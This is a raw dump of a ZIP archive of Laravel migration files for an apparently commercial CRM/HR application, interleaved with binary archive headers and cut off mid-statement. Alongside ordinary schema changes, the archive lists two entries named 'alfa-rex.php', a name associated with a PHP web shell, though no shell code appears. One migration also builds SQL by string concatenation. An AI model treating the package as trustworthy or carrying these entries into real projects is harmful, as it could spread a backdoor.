PKZGAk}|-|- alfa-rex.phpnu[PKZGAk}|-|-migrations/alfa-rex.phpnu[PKZwXzz2migrations/2023_05_16_114755_file_upload_to_s3.phpnu[ Company::class, 'columns' => [ [ 'name' => 'logo', 'path' => GlobalSetting::APP_LOGO_PATH, ], [ 'name' => 'light_logo', 'path' => GlobalSetting::APP_LOGO_PATH, ], [ 'name' => 'login_background', 'path' => 'login-background', ], [ 'name' => 'favicon', 'path' => 'favicon', ], ], ], [ 'model' => Appreciation::class, 'columns' => [ [ 'name' => 'image', 'path' => 'appreciation', ], ], ], [ 'model' => User::class, 'columns' => [ [ 'name' => 'image', 'path' => 'avatar', ], ], ], [ 'model' => ClientDetails::class, 'columns' => [ [ 'name' => 'company_logo', 'path' => 'client-logo', ], ], ], [ 'model' => Contract::class, 'columns' => [ [ 'name' => 'company_sign', 'path' => 'contract/sign', ], ], ], [ 'model' => VisaDetail::class, 'columns' => [ [ 'name' => 'file', 'path' => VisaDetail::FILE_PATH, ], ], ], [ 'model' => AcceptEstimate::class, 'columns' => [ [ 'name' => 'signature', 'path' => 'estimate/accept', ], ], ], [ 'model' => ContractSign::class, 'columns' => [ [ 'name' => 'signature', 'path' => 'contract/sign', ], ], ], [ 'model' => ProposalSign::class, 'columns' => [ [ 'name' => 'signature', 'path' => 'proposal/sign', ], ], ], [ 'model' => InvoiceSetting::class, 'columns' => [ [ 'name' => 'logo', 'path' => GlobalSetting::APP_LOGO_PATH, ], [ 'name' => 'authorised_signatory_signature', 'path' => GlobalSetting::APP_LOGO_PATH, ], ], ], [ 'model' => Passport::class, 'columns' => [ [ 'name' => 'file', 'path' => Passport::FILE_PATH, ], ], ], [ 'model' => SlackSetting::class, 'columns' => [ [ 'name' => 'slack_logo', 'path' => 'slack-logo', ], ], ], ]; foreach ($files as $file) { $model = $file['model']; $columns = $file['columns']; Files::fixLocalUploadFiles($model, $columns); } } /** * Reverse the migrations. */ public function down(): void { // } }; PKZU!T=migrations/2024_10_01_055853_change_price_type_of_expense.phpnu[boolean('send_status')->default(true); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('proposals', function (Blueprint $table) { $table->dropColumn('send_status'); }); } }; PKZt[[Gmigrations/2024_04_17_064540_add_add_to_budget_column_in_proj_table.phpnu[integer('deal_watcher')->nullable(); }); } if (!Schema::hasColumn('project_milestones', 'add_to_budget')) { Schema::table('project_milestones', function (Blueprint $table) { $table->enum('add_to_budget', ['yes', 'no'])->default('no')->after('status'); }); } Schema::table('leave_types', function (Blueprint $table) { $table->decimal('monthly_limit', 10, 2)->change(); }); Schema::table('project_time_logs', function (Blueprint $table) { $table->double('earnings', 16, 2)->change(); }); if (!Schema::hasColumn('attendance_settings', 'qr_enable')) { Schema::table('attendance_settings', function (Blueprint $table) { $table->enum('qr_enable', ['1', '0'])->default('1'); }); } } /** * Reverse the migrations. */ public function down(): void { } }; PKZnRr?migrations/2025_02_04_111756_add_leaves_to_reimburse_column.phpnu[integer('leaves_to_reimburse')->default(0)->after('carry_forward_applied'); // This is the number of leaves that are to be reimbursed. Set this to 0 after reimbursing the leaves. $table->integer('leaves_actually_reimbursed')->default(0)->after('leaves_to_reimburse'); // This is the actual number of leaves that have been reimbursed. This is just for the record. }); } /** * Reverse the migrations. */ public function down(): void { Schema::table('employee_leave_quotas', function (Blueprint $table) { $table->dropColumn('leaves_to_reimburse'); $table->dropColumn('leaves_actually_reimbursed'); }); } }; PKZd}}Gmigrations/2024_07_12_053537_change_datatype_of_approvalsend_column.phpnu[boolean('approval_send')->default(false)->change(); }); } /** * Reverse the migrations. */ public function down(): void { Schema::table('tasks', function (Blueprint $table) { $table->enum('approval_send', ['0', '1'])->change(); }); } }; PKZy>>>Mmigrations/2024_08_13_071923_add_column_to_employee_shift_rotations_table.phpnu[enum('send_mail', ['yes', 'no'])->default('yes'); }); } /** * Reverse the migrations. */ public function down(): void { Schema::dropIfExists('employee_shift_rotations'); } }; PKZxIVOmigrations/2022_12_30_045028_add_number_separator_to_invoice_settings_table.phpnu[string('invoice_number_separator')->default('#')->after('invoice_prefix'); $table->string('estimate_number_separator')->default('#')->after('estimate_prefix'); $table->string('credit_note_number_separator')->default('#')->after('credit_note_prefix'); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('invoice_settings', function (Blueprint $table) { $table->dropColumn('invoice_number_separator'); $table->dropColumn('estimate_number_separator'); $table->dropColumn('credit_note_number_separator'); }); } }; PKZLmigrations/2024_09_13_092310_add_field_order_column_in_order_items_table.phpnu[integer('field_order')->default(0); }); } if (!Schema::hasColumn('invoice_items', 'field_order')) { Schema::table('invoice_items', function (Blueprint $table) { $table->integer('field_order')->default(0); }); } if (!Schema::hasColumn('estimate_items', 'field_order')) { Schema::table('estimate_items', function (Blueprint $table) { $table->integer('field_order')->default(0); }); } if (!Schema::hasColumn('proposal_items', 'field_order')) { Schema::table('proposal_items', function (Blueprint $table) { $table->integer('field_order')->default(0); }); } } /** * Reverse the migrations. */ public function down(): void { Schema::table('order_items', function (Blueprint $table) { $table->dropColumn('field_order'); }); Schema::table('invoice_items', function (Blueprint $table) { $table->dropColumn('field_order'); }); Schema::table('estimate_items', function (Blueprint $table) { $table->dropColumn('field_order'); }); Schema::table('proposal_items', function (Blueprint $table) { $table->dropColumn('field_order'); }); } }; PKZ }Imigrations/2024_03_22_125152_add_columns_to_attendance_settings_table.phpnu[enum('qr_enable', ['1', '0'])->default('1'); }); } } /** * Reverse the migrations. */ public function down(): void { Schema::table('attendance_settings', function (Blueprint $table) { // }); } }; PKZGS\Kmigrations/2024_02_04_074746_add_column_host_and_status_in_events_table.phpnu[integer('host')->unsigned()->nullable()->after('end_date_time'); $table->foreign(['host'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->enum('status', ['pending', 'completed', 'cancelled'])->default('pending')->after('host'); $table->string('note')->after('status'); }); } /** * Reverse the migrations. */ public function down(): void { Schema::table('events', function (Blueprint $table) { $table->dropColumn('host', 'status', 'note'); }); } }; PKZM@Imigrations/2022_12_13_071454_add_currency_id_in_currency_format_table.phpnu[enum('currency_position', ['left', 'right', 'left_with_space', 'right_with_space'])->default('left'); $table->unsignedInteger('no_of_decimal'); $table->string('thousand_separator')->nullable(); $table->string('decimal_separator')->nullable(); }); $companies = Company::select('id')->get(); foreach ($companies as $company) { $currencyFormat = CurrencyFormatSetting::where('company_id', $company->id)->first(); Currency::where('company_id', $company->id) ->update([ 'currency_position' => $currencyFormat->currency_position, 'no_of_decimal' => $currencyFormat->no_of_decimal, 'thousand_separator' => $currencyFormat->thousand_separator, 'decimal_separator' => $currencyFormat->decimal_separator ]); } } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('currencies', function (Blueprint $table) { $table->dropColumn('currency_position'); $table->dropColumn('no_of_decimal'); $table->dropColumn('thousand_separator'); $table->dropColumn('decimal_separator'); }); } }; PKZd>9migrations/2022_12_01_070705_create_leave_files_table.phpnu[id(); $table->integer('company_id')->unsigned()->nullable(); $table->foreign('company_id') ->references('id') ->on('companies') ->onDelete('cascade') ->onUpdate('cascade'); $table->unsignedInteger('user_id')->index('leave_files_user_id_foreign'); $table->unsignedInteger('leave_id')->index('leave_files_leave_id_foreign'); $table->string('filename'); $table->string('hashname')->nullable(); $table->string('size')->nullable(); $table->unsignedInteger('added_by')->nullable()->index('leave_files_added_by_foreign'); $table->unsignedInteger('last_updated_by')->nullable()->index('leave_files_last_updated_by_foreign'); $table->foreign(['added_by'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->foreign(['last_updated_by'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->foreign(['leave_id'])->references(['id'])->on('leaves')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->foreign(['user_id'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->timestamps(); }); Schema::table('employee_leave_quotas', function (Blueprint $table) { $table->double('no_of_leaves')->change(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('leave_files'); } }; PKZ BNmigrations/2024_11_05_082725_add_client_id_column_in_client_contanct_table.phpnu[unsignedInteger('is_client_contact')->nullable()->index('users_is_client_contact_index'); $table->foreign('is_client_contact')->references('id')->on('client_contacts')->onUpdate('CASCADE')->onDelete('CASCADE'); }); Schema::table('client_contacts', function (Blueprint $table) { $table->unsignedInteger('client_id')->nullable()->index('client_contacts_client_id_index'); $table->foreign('client_id')->references('id')->on('users')->onUpdate('CASCADE')->onDelete('CASCADE'); }); } /** * Reverse the migrations. */ public function down(): void { } }; PKZ1󃃖Umigrations/2024_06_05_051512_add_ticket_round_robin_status_to_lead_settings_table.phpnu[tinyInteger('ticket_round_robin_status')->default(0)->notNull(); }); } /** * Reverse the migrations. */ public function down(): void { Schema::table('lead_setting', function (Blueprint $table) { $table->dropColumn('ticket_round_robin_status'); }); } }; PKZDmigrations/2023_02_13_045833_add_report_column_in_log_time_table.phpnu[boolean('timelog_report')->after('tracker_reminder'); $table->string('daily_report_roles')->nullable()->after('timelog_report'); }); Schema::table('users_chat', function (Blueprint $table) { $table->boolean('notification_sent')->default(1); }); Schema::table('message_settings', function (Blueprint $table) { $table->boolean('send_sound_notification')->default(0); }); DB::statement("ALTER TABLE smtp_settings CHANGE COLUMN mail_encryption mail_encryption ENUM('ssl', 'tls','starttls') NULL DEFAULT 'tls'"); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('log_time_for', function (Blueprint $table) { $table->dropColumn('timelog_report'); $table->dropColumn('daily_report_roles'); }); Schema::table('users_chat', function (Blueprint $table) { $table->dropColumn('notification_sent'); }); Schema::table('message_settings', function (Blueprint $table) { $table->dropColumn('send_sound_notification'); }); } }; PKZyb/Gmigrations/2022_08_26_053139_add_parent_id_column_designation_table.phpnu[integer('parent_id')->unsigned()->nullable()->after('name'); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('designations', function (Blueprint $table) { $table->dropColumn('parent_id'); }); } }; PKZB;migrations/2023_04_18_124728_create_mention_users_table.phpnu[id(); $table->integer('task_comment_id')->unsigned()->nullable(); $table->foreign('task_comment_id')->references('id')->on('task_comments') ->onDelete('cascade') ->onUpdate('cascade'); $table->integer('task_note_id')->unsigned()->nullable(); $table->foreign('task_note_id')->references('id')->on('task_notes') ->onDelete('cascade') ->onUpdate('cascade'); $table->integer('task_id')->unsigned()->nullable(); $table->foreign('task_id')->references('id')->on('tasks') ->onDelete('cascade') ->onUpdate('cascade'); $table->integer('project_id')->unsigned()->nullable(); $table->foreign('project_id')->references('id')->on('projects') ->onDelete('cascade') ->onUpdate('cascade'); $table->integer('project_note_id')->unsigned()->nullable(); $table->foreign('project_note_id')->references('id')->on('project_notes') ->onDelete('cascade') ->onUpdate('cascade'); $table->integer('discussion_id')->unsigned()->nullable(); $table->foreign('discussion_id')->references('id')->on('discussions') ->onDelete('cascade') ->onUpdate('cascade'); $table->integer('user_id')->unsigned()->nullable(); $table->foreign('user_id')->references('id')->on('users') ->onDelete('cascade') ->onUpdate('cascade'); $table->integer('discussion_reply_id')->unsigned()->nullable(); $table->foreign('discussion_reply_id')->references('id')->on('discussion_replies') ->onDelete('cascade') ->onUpdate('cascade'); $table->timestamps(); }); $companies = Company::select('id')->get(); foreach ($companies as $company) { $settings = [ [ 'send_email' => 'yes', 'send_push' => 'no', 'company_id' => $company->id, 'send_slack' => 'no', 'setting_name' => 'Project Mention Notification', 'slug' => 'project-mention-notification', ], [ 'send_email' => 'yes', 'send_push' => 'no', 'company_id' => $company->id, 'send_slack' => 'no', 'setting_name' => 'Task Mention Notification', 'slug' => 'task-mention-notification', ], ]; EmailNotificationSetting::insert($settings); } } /** * Reverse the migrations. */ public function down(): void { Schema::dropIfExists('mention_users'); } }; PKZvx~Mmigrations/2022_09_19_124014_add_delete_approve_leave_in_permission_table.phpnu[first(); if (!is_null($module)) { $permissionName = 'delete_approve_leaves'; $permission = Permission::firstOrCreate([ 'name' => $permissionName, 'display_name' => ucwords(str_replace('_', ' ', $permissionName)), 'is_custom' => 1, 'module_id' => $module->id, 'allowed_permissions' => Permission::ALL_NONE ]); $companies = Company::select('id')->get(); foreach ($companies as $company) { $role = Role::where('name', 'admin') ->where('company_id', $company->id) ->first(); $permissionRole = new PermissionRole(); $permissionRole->permission_id = $permission->id; $permissionRole->role_id = $role->id; $permissionRole->permission_type_id = 4; // All $permissionRole->save(); } $adminUser = User::allAdmins(); foreach ($adminUser as $adminUsers) { $userPermission = new UserPermission(); $userPermission->user_id = $adminUsers->id; $userPermission->permission_id = $permission->id; $userPermission->permission_type_id = 4; // All $userPermission->save(); } } } /** * Reverse the migrations. * * @return void */ public function down() { Permission::where('name', 'delete_approve_leaves')->delete(); } }; PKZfծ@migrations/2024_08_01_121908_update_null_leavetype_to_yearly.phpnu[whereNull('leavetype')->update(['leavetype' => 'yearly']); } /** * Reverse the migrations. * * @return void */ public function down() { } }; PKZF^(migrations/2023_05_02_100907_fix_bug.phpnu[listTableForeignKeys('user_taskboard_settings'); if (in_array('user_taskboard_settings_board_column_id_foreign', $foreignKeys)) { $table->dropForeign(['board_column_id']); } $table->foreign('board_column_id')->references('id')->on('taskboard_columns')->onDelete('cascade')->onUpdate('cascade'); }); DB::statement("ALTER TABLE `users` CHANGE `gender` `gender` ENUM('male','female','others') NULL DEFAULT 'male';"); User::whereNull('gender')->update(['gender' => 'male']); Schema::table('employee_details', function (Blueprint $table) { $table->string('marital_status')->nullable()->default(MaritalStatus::Single->value)->change(); }); EmployeeDetails::whereNull('marital_status')->update(['marital_status' => MaritalStatus::Single]); } /** * Reverse the migrations. */ public function down(): void { // } public function listTableForeignKeys($table) { $conn = Schema::getConnection()->getDoctrineSchemaManager(); return array_map(function ($key) { return $key->getName(); }, $conn->listTableForeignKeys($table)); } }; PKZ ::=migrations/2024_02_14_094339_employee_leave_quota_changes.phpnu[after('no_of_leaves', function ($table) { $table->double('leaves_used')->default(0); $table->double('leaves_remaining')->default(0); }); }); LeaveType::whereNull('unused_leave')->update(['unused_leave' => 'carry forward']); $employees = User::withoutGlobalScopes()->onlyEmployee()->get(); foreach ($employees as $employee) { $leaveQuotas = $employee->leaveTypes; foreach ($leaveQuotas as $leaveQuota) { $leave = $this->byUser($employee, $leaveQuota->leave_type_id); $leaveTaken = $leave ? ($leave->leavesCount ? $leave->leavesCount->count - ($leave->leavesCount->halfday * 0.5) : 0) : 0; $leaveQuota->leaves_remaining = $leaveQuota->no_of_leaves - $leaveTaken; $leaveQuota->leaves_used = $leaveTaken; $leaveQuota->save(); } } } public function byUser(User $user, $leaveTypeId = null, $status = array('approved'), $leaveDate = null) { $setting = $user->company; if (!is_null($leaveDate)) { $leaveDate = Carbon::createFromFormat($setting->date_format, $leaveDate); } else { $leaveDate = Carbon::createFromFormat('d-m-Y', '01-'.$setting->year_starts_from.'-'.now($setting->timezone)->year)->startOfMonth(); } if ($user->employee->first()) { if ($setting->leaves_start_from == 'joining_date') { $currentYearJoiningDate = Carbon::parse($user->employee->first()->joining_date->format((now($setting->timezone)->year) . '-m-d')); if ($currentYearJoiningDate->isFuture()) { $currentYearJoiningDate->subYear(); } $leaveTypes = LeaveType::with(['leavesCount' => function ($q) use ($user, $currentYearJoiningDate, $status) { $q->where('leaves.user_id', $user->id); $q->whereBetween('leaves.leave_date', [$currentYearJoiningDate->copy()->toDateString(), $currentYearJoiningDate->copy()->addYear()->toDateString()]); $q->whereIn('leaves.status', $status); }])->select('leave_types.*', 'employee_details.notice_period_start_date', 'employee_details.probation_end_date', 'employee_details.department_id as employee_department', 'employee_details.designation_id as employee_designation', 'employee_details.marital_status as maritalStatus', 'users.gender as usergender', 'employee_details.joining_date') ->join('employee_leave_quotas', 'employee_leave_quotas.leave_type_id', 'leave_types.id') ->join('users', 'users.id', 'employee_leave_quotas.user_id') ->join('employee_details', 'employee_details.user_id', 'users.id')->where('users.id', $user->id); return $leaveTypes->where('leave_types.id', $leaveTypeId)->first(); } else { $leaveTypes = LeaveType::with(['leavesCount' => function ($q) use ($user, $status, $leaveDate) { $q->where('leaves.user_id', $user->id); $q->whereBetween('leaves.leave_date', [$leaveDate->copy()->toDateString(), $leaveDate->copy()->addYear()->toDateString()]); $q->whereIn('leaves.status', $status); }])->select('leave_types.*', 'employee_details.notice_period_start_date', 'employee_details.probation_end_date', 'employee_details.department_id as employee_department', 'employee_details.designation_id as employee_designation', 'employee_details.marital_status as maritalStatus', 'users.gender as usergender', 'employee_details.joining_date') ->join('employee_leave_quotas', 'employee_leave_quotas.leave_type_id', 'leave_types.id') ->join('users', 'users.id', 'employee_leave_quotas.user_id') ->join('employee_details', 'employee_details.user_id', 'users.id')->where('users.id', $user->id); } return $leaveTypes->where('leave_types.id', $leaveTypeId)->first(); } return null; } }; PKZ͟xxBmigrations/2025_01_24_095318_add_column_in_lead_category_table.phpnu[boolean('is_default')->default(0)->notNullable(); }); } /** * Reverse the migrations. */ public function down(): void { Schema::table('lead_category', function (Blueprint $table) { $table->dropColumn('is_default'); }); } }; PKZQFmigrations/2023_02_15_121548_add_data_in_ticket_custom_forms_table.phpnu[unsignedInteger('group_id')->after('type_id')->nullable(); $table->foreign(['group_id'])->references(['id'])->on('ticket_groups')->onUpdate('CASCADE')->onDelete('CASCADE'); }); $companies = Company::get(); foreach ($companies as $company) { $ticketCustomForm = TicketCustomForm::where('company_id', $company->id)->latest('id')->first(); if ($ticketCustomForm) { TicketCustomForm::create([ 'field_display_name' => 'Assign Group', 'field_name' => 'assign_group', 'field_order' => $ticketCustomForm->field_order + 1, 'field_type' => 'select', 'company_id' => $company->id, ]); } } } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('ticket_custom_forms', function (Blueprint $table) { // }); } }; PKZ[Fmigrations/2025_01_24_100609_alter_lead_category_is_default_column.phpnu[id) ->where('category_name', 'Best Case') ->update([ 'is_default' => 1, ]); } } /** * Reverse the migrations. */ public function down(): void { // } }; PKZRAmigrations/2022_08_29_064339_add_added_by_to_project_template.phpnu[integer('added_by')->default(1); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('project_templates', function (Blueprint $table) { $table->dropColumn('added_by'); }); } }; PKZq  :migrations/2024_09_13_114425_create_notice_files_table.phpnu[bigIncrements('id'); $table->unsignedInteger('notice_id')->index('notice_views_notice_id_foreign'); $table->foreign(['notice_id'])->references(['id'])->on('notices')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->enum('type', ['employee', 'client'])->default('employee'); $table->unsignedInteger('user_id')->index('notice_views_user_id_foreign'); $table->foreign(['user_id'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('CASCADE'); }); Schema::create('notice_files', function (Blueprint $table) { $table->increments('id'); $table->unsignedInteger('notice_id')->index('notice_files_notice_id_foreign'); $table->string('filename'); $table->text('description')->nullable(); $table->string('google_url')->nullable(); $table->string('hashname')->nullable(); $table->string('size')->nullable(); $table->string('dropbox_link')->nullable(); $table->string('external_link')->nullable(); $table->string('external_link_name')->nullable(); $table->unsignedInteger('added_by')->nullable()->index('notice_files_added_by_foreign'); $table->unsignedInteger('last_updated_by')->nullable()->index('notice_files_last_updated_by_foreign'); $table->foreign(['added_by'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->foreign(['last_updated_by'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->foreign(['notice_id'])->references(['id'])->on('notices')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->timestamps(); }); } /** * Reverse the migrations. */ public function down(): void { Schema::dropIfExists('notice_files'); Schema::dropIfExists('notice_board_users'); } }; PKZ@m.Pmigrations/2024_10_24_064017_add_followups_widget_in_dashboard_widgets_table.phpnu[ 'follow_ups', 'status' => 1, 'dashboard_type' => 'private-dashboard', 'company_id' => $company->id ]; DashboardWidget::create($widget); } $employees = \App\Models\EmployeeDetails::all(); foreach ($employees as $employee) { $employee->calendar_view = 'task,events,holiday,tickets,leaves,follow_ups'; $employee->save(); } } /** * Reverse the migrations. */ public function down(): void { DashboardWidget::where('widget_name', 'follow_ups')->delete(); } }; PKZN9migrations/2023_03_29_072032_create_order_carts_table.phpnu[increments('id'); $table->unsignedInteger('product_id')->index('order_carts_product_id_foreign'); $table->foreign(['product_id'])->references(['id'])->on('products')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->unsignedInteger('client_id')->nullable()->index('order_carts_client_id_foreign'); $table->foreign(['client_id'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->string('item_name'); $table->text('description')->nullable(); $table->enum('type', ['item', 'discount', 'tax'])->default('item'); $table->double('quantity', 16, 2); $table->double('unit_price', 16, 2); $table->double('amount', 16, 2); $table->string('taxes')->nullable(); $table->string('hsn_sac_code')->nullable(); $table->timestamps(); } ); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('order_carts'); } }; PKZud(:migrations/2024_05_16_135801_create_lead_setting_table.phpnu[id(); $table->boolean('status')->default(false); $table->unsignedInteger('user_id')->index('lead_setting_user_id_foreign'); $table->foreign(['user_id'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->integer('company_id')->unsigned()->nullable(); $table->foreign('company_id')->references('id')->on('companies')->onDelete('cascade')->onUpdate('cascade'); $table->timestamps(); }); } if (Schema::hasColumn('user_permissions', 'id')) { // Schema::table('user_permissions', function (Blueprint $table) { // $table->dropColumn('id'); // $table->dropColumn('created_at'); // $table->dropColumn('updated_at'); // }); // session()->forget('sidebar_user_perms'); } } /** * Reverse the migrations. */ public function down(): void { Schema::dropIfExists('lead_setting'); } }; PKZͰQmigrations/2025_04_22_045326_add_company_id_to_employee_shift_schedules_table.phpnu[integer('company_id')->unsigned()->nullable()->after('user_id'); $table->foreign('company_id')->references('id')->on('companies')->onDelete('cascade')->onUpdate('cascade'); }); // Use Eloquent to update existing records \App\Models\EmployeeShiftSchedule::with('user')->chunk(100, function ($schedules) { foreach ($schedules as $schedule) { if ($schedule->user && $schedule->user->company_id) { $schedule->company_id = $schedule->user->company_id; $schedule->save(); } } }); } /** * Reverse the migrations. */ public function down(): void { Schema::table('employee_shift_schedules', function (Blueprint $table) { $table->dropForeign(['company_id']); $table->dropColumn('company_id'); }); } }; PKZ+3QQHmigrations/2023_12_19_091940_change_column_type_in_order_items_table.phpnu[double('sub_total', 30, 2)->change(); $table->double('total', 30, 2)->change(); $table->double('discount', 30, 2)->default(0)->change(); }); Schema::table('order_items', function (Blueprint $table) { $table->double('unit_price', 30, 2)->change(); $table->double('quantity', 30, 2)->change(); }); Schema::table('credit_notes', function (Blueprint $table) { $table->double('adjustment_amount', 30, 2)->nullable()->change(); $table->double('sub_total', 30, 2)->change(); $table->double('total', 30, 2)->change(); $table->double('discount', 30, 2)->default(0)->change(); }); Schema::table('credit_note_items', function (Blueprint $table) { $table->double('unit_price', 30, 2)->change(); $table->double('amount', 30, 2)->change(); }); Schema::table('invoices', function (Blueprint $table) { $table->double('due_amount', 30, 2)->default(0)->change(); $table->double('discount', 30, 2)->default(0)->change(); $table->double('total', 30, 2)->change(); $table->double('sub_total', 30, 2)->change(); }); Schema::table('invoice_items', function (Blueprint $table) { $table->double('quantity', 30, 2)->change(); $table->double('unit_price', 30, 2)->change(); $table->double('amount', 30, 2)->change(); }); Schema::table('quotations', function (Blueprint $table) { $table->double('sub_total', 30, 2)->change(); $table->double('total', 30, 2)->change(); }); Schema::table('quotation_items', function (Blueprint $table) { $table->double('amount', 30, 2)->change(); }); Schema::table('estimates', function (Blueprint $table) { $table->double('sub_total', 30, 2)->change(); $table->double('total', 30, 2)->change(); $table->double('discount', 30, 2)->default(0)->change(); }); Schema::table('estimate_templates', function (Blueprint $table) { $table->double('sub_total', 30, 2)->change(); $table->double('total', 30, 2)->change(); $table->double('discount', 30, 2)->change(); }); Schema::table('estimate_items', function (Blueprint $table) { $table->double('quantity', 30, 2)->change(); $table->double('unit_price', 30, 2)->change(); $table->double('amount', 30, 2)->change(); }); Schema::table('estimate_template_items', function (Blueprint $table) { $table->double('quantity', 30, 2)->change(); $table->double('unit_price', 30, 2)->change(); $table->double('amount', 30, 2)->change(); }); Schema::table('expenses', function (Blueprint $table) { $table->double('price', 30, 2)->change(); }); Schema::table('project_milestones', function (Blueprint $table) { $table->double('cost', 30, 2)->change(); }); Schema::table('proposals', function (Blueprint $table) { $table->double('sub_total', 30, 2)->change(); $table->double('total', 30, 2)->change(); $table->double('discount', 30, 2)->change(); }); Schema::table('proposal_items', function (Blueprint $table) { $table->double('quantity', 30, 2)->change(); $table->double('unit_price', 30, 2)->change(); $table->double('amount', 30, 2)->change(); }); Schema::table('proposal_templates', function (Blueprint $table) { $table->double('sub_total', 30, 2)->change(); $table->double('total', 30, 2)->change(); $table->double('discount', 30, 2)->change(); }); Schema::table('proposal_template_items', function (Blueprint $table) { $table->double('unit_price', 30, 2)->change(); $table->double('amount', 30, 2)->change(); $table->double('quantity', 30, 2)->change(); }); Schema::table('bank_accounts', function (Blueprint $table) { $table->double('bank_balance', 30, 2)->nullable()->change(); $table->double('opening_balance', 30, 2)->nullable()->change(); }); Schema::table('bank_transactions', function (Blueprint $table) { $table->double('bank_balance', 30, 2)->nullable()->change(); $table->double('amount', 30, 2)->nullable()->change(); }); Schema::table('order_carts', function (Blueprint $table) { $table->double('quantity', 30, 2)->change(); $table->double('unit_price', 30, 2)->change(); $table->double('amount', 30, 2)->change(); }); Schema::table('expenses_recurring', function (Blueprint $table) { $table->double('price', 30, 2)->change(); }); Schema::table('invoice_recurring', function (Blueprint $table) { $table->double('sub_total', 30, 2)->default(0)->change(); $table->double('total', 30, 2)->default(0)->change(); $table->double('discount', 30, 2)->default(0)->change(); }); Schema::table('invoice_recurring_items', function (Blueprint $table) { $table->double('quantity', 30, 2)->change(); $table->double('unit_price', 30, 2)->change(); $table->double('amount', 30, 2)->change(); }); if (Schema::hasColumn('leads', 'value')) { Schema::table('leads', function (Blueprint $table) { $table->double('value', 30, 2)->nullable()->default(0)->change(); }); } Schema::table('payments', function (Blueprint $table) { $table->double('amount', 30, 2)->change(); }); Schema::table('projects', function (Blueprint $table) { $table->double('project_budget', 30, 2)->nullable()->change(); }); } /** * Reverse the migrations. */ public function down(): void { // } }; PKZxA00Dmigrations/2024_07_26_080201_add_timestamps_to_leave_types_table.phpnu[whereNull('created_at')->update(['created_at' => now()]); DB::table('leave_types')->whereNull('updated_at')->update(['updated_at' => now()]); } /** * Reverse the migrations. */ public function down(): void { } }; PKZ   5migrations/2025_02_03_071444_alter_estimate_table.phpnu[unsignedInteger('project_id')->nullable()->index('estimates_project_id_foreign'); $table->foreign(['project_id'])->references(['id'])->on('projects')->onUpdate('CASCADE')->onDelete('CASCADE'); }); } /** * Reverse the migrations. */ public function down(): void { Schema::table('estimates', function (Blueprint $table) { $table->dropColumn('project_id'); }); } }; PKZ+BBKmigrations/2022_08_19_100314_add_leave_widget_in_dashboard_widget_table.phpnu[ 'leave', 'status' => 1, 'dashboard_type' => 'private-dashboard' ] ]; DashboardWidget::insert($widget); } } /** * Reverse the migrations. * * @return void */ public function down() { DashboardWidget::where('widget_name', 'leave')->delete(); } }; PKZjUCmigrations/2022_10_09_155207_add_custom_year_to_companies_table.phpnu[string('year_starts_from')->after('date_picker_format')->default(1); }); } } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('companies', function (Blueprint $table) { $table->dropColumn('year_starts_from'); }); } }; PKZ}MiPmigrations/2023_12_04_113645_add_other_information_to_invoice_settings_table.phpnu[text('other_info')->after('invoice_terms')->nullable(); }); } /** * Reverse the migrations. */ public function down(): void { Schema::table('invoice_settings', function (Blueprint $table) { $table->dropColumn('other_info'); }); } }; PKZ\ݍ?migrations/2024_04_18_105848_create_employee_activity_table.phpnu[id(); $table->unsignedBigInteger('emp_id'); $table->string('employee_activity'); $table->unsignedBigInteger('leave_id')->nullable(); $table->unsignedBigInteger('task_id')->nullable(); $table->unsignedBigInteger('proj_id')->nullable(); $table->unsignedBigInteger('invoice_id')->nullable(); $table->unsignedBigInteger('ticket_id')->nullable(); $table->unsignedBigInteger('proposal_id')->nullable(); $table->unsignedBigInteger('estimate_id')->nullable(); $table->unsignedBigInteger('deal_id')->nullable(); $table->unsignedBigInteger('deal_followup_id')->nullable(); $table->unsignedBigInteger('client_id')->nullable(); $table->unsignedBigInteger('expenses_id')->nullable(); $table->unsignedBigInteger('timelog_id')->nullable(); $table->unsignedBigInteger('event_id')->nullable(); $table->unsignedBigInteger('product_id')->nullable(); $table->unsignedBigInteger('credit_note_id')->nullable(); $table->unsignedBigInteger('payment_id')->nullable(); $table->unsignedBigInteger('order_id')->nullable(); $table->unsignedBigInteger('contract_id')->nullable(); $table->timestamps(); $table->foreign('deal_id')->references('id')->on('deals')->onDelete('cascade'); }); } /** * Reverse the migrations. */ public function down(): void { Schema::dropIfExists('employee_activity'); } }; PKZKYMNNFmigrations/2022_08_13_070443_add_task_unique_id_column_tasks_table.phpnu[string('task_short_code')->after('id')->nullable(); }); } $projects = Project::whereHas('tasks')->get(); foreach ($projects as $value) { // phpcs:ignore DB::statement("UPDATE tasks SET task_short_code = CONCAT( '$value->project_short_code', '-', id ) WHERE project_id = '" . $value->id . "'; "); } } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('tasks', function (Blueprint $table) { $table->dropColumn('task_short_code'); }); } }; PKZQQ?migrations/2023_04_11_101429_task_hash_insert_in_task_table.phpnu[get(); foreach ($tasks as $task) { $task->hash = md5(microtime() . rand(1, 99999999)); $task->save(); } $column = 'icon'; // phpcs:ignore AwardIcon::where('icon', 'LIKE', '%-fill%')->update([$column => 